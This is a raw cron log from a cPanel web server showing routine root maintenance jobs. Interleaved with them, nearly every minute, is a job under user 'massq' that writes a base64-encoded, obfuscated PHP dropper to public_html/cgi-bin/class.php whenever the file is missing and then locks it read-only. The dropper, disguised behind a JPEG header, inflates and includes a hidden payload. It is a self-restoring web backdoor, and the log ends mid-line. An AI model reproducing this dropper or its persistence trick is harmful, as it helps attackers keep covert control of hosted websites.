Aug 31 04:25:01 server CROND[27246]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:25:01 server CROND[27245]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 31 04:25:01 server CROND[27244]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 04:26:01 server CROND[28185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:26:01 server CROND[28186]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:26:01 server CROND[28187]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:27:01 server CROND[28561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:27:01 server CROND[28562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:27:01 server CROND[28564]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:27:01 server CROND[28563]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 04:28:01 server CROND[28945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:28:01 server CROND[28946]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:28:01 server CROND[28947]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:29:01 server CROND[29341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:29:01 server CROND[29340]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:29:01 server CROND[29339]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:30:01 server CROND[29736]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Aug 31 04:30:01 server CROND[29738]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 04:30:01 server CROND[29739]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:30:01 server CROND[29741]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 04:30:01 server CROND[29743]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 04:30:01 server CROND[29742]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Aug 31 04:30:01 server CROND[29746]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:30:01 server CROND[29745]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 04:30:01 server CROND[29744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:30:01 server CROND[29747]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 04:31:01 server CROND[30677]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:31:01 server CROND[30678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:31:01 server CROND[30680]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:32:01 server CROND[31305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:32:01 server CROND[31306]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:32:01 server CROND[31307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:33:01 server CROND[31687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:33:01 server CROND[31688]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:33:01 server CROND[31689]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:34:01 server CROND[32069]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:34:01 server CROND[32070]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:34:01 server CROND[32071]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:35:01 server CROND[32473]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 04:35:01 server CROND[32475]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 04:35:01 server CROND[32479]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 04:35:01 server CROND[32497]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 04:35:01 server CROND[32496]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 04:35:01 server CROND[32498]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 04:35:01 server CROND[32502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:35:01 server CROND[32501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:35:01 server CROND[32500]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:36:01 server CROND[1005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:36:01 server CROND[1006]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:36:01 server CROND[1007]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 04:37:01 server CROND[1505]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 04:37:01 server CROND[1506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 04:37:01 server CROND[1504]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0